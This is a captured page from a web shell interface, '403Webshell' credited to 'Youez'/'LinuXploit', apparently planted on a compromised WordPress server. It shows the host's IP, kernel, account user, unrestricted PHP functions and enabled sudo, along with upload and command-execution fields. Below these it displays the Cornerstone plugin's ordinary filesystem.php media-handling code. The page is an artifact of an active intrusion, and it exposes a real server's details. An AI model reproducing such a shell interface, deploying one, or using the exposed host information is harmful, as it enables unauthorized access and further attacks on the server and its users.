403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/plugins/cornerstone/includes/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/cornerstone/includes/functions/filesystem.php
<?php

/**
 * Get recursive list of files in a directory
 * No trailing slash
 *
 * @param string $dir
 *
 * @return array
 */
function cs_directory_get_file_list($dir) {
  // Directory does not exist
  if (!file_exists($dir)) {
    return [];
  }

  $rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir));
  $files = [];

  /** @var SplFileInfo $file */
  foreach ($rii as $file) {
    if ($file->isDir()){
      continue;
    }

    // Only path
    $files[] = str_replace($dir . '/', '', $file->getPathname());
  }

  return $files;
}

/**
 * Add a file usually from temp dir to the media manager
 *
 * @param string $name
 * @param string $tmp_file
 * @param int|null $postId
 *
 * @return int
 */
function cs_media_manager_add($name, $tmp_file, $postId = null) {
  // Needed for various file functions
  require_once ABSPATH . 'wp-admin/includes/file.php';

  // Send tmp file to upload dir for later attachment creation
  $sideLoadFile = [
    'name' => $name,
    'tmp_name' => $tmp_file,
  ];

  $results = wp_handle_sideload($sideLoadFile, [
    'test_form' => false
  ]);

  if ( !empty( $results['error'] ) ) {
    throw new DomainException('Failed to sideload image: ' . $name);
  }

  // Insert to attachment table
  $insertArgs = [
    'post_title' => pathinfo($name, PATHINFO_FILENAME),
    'post_content' => '',
    'post_mime_type' => $results['type'],
    'guid' => $results[ 'url' ]
  ];

  // Create new post
  if (!empty($postId)) {
    $insertArgs['ID'] = $postId;
  }

  // Create new attachment or update
  $postId = wp_insert_attachment($insertArgs, $results['file'] );

  return $postId;
}

function cs_media_manager_add_base64($name, $base64) {
  $dirName = get_temp_dir() . 'cornerstone/attachment/';
  wp_mkdir_p($dirName);

  $tmp_file = $dirName . $name;

  file_put_contents($tmp_file, base64_decode($base64));

  $attachmentID = cs_media_manager_add($name, $tmp_file);

  unlink($tmp_file);

  return $attachmentID;
}

Youez - 2016 - github.com/yon3zu
LinuXploit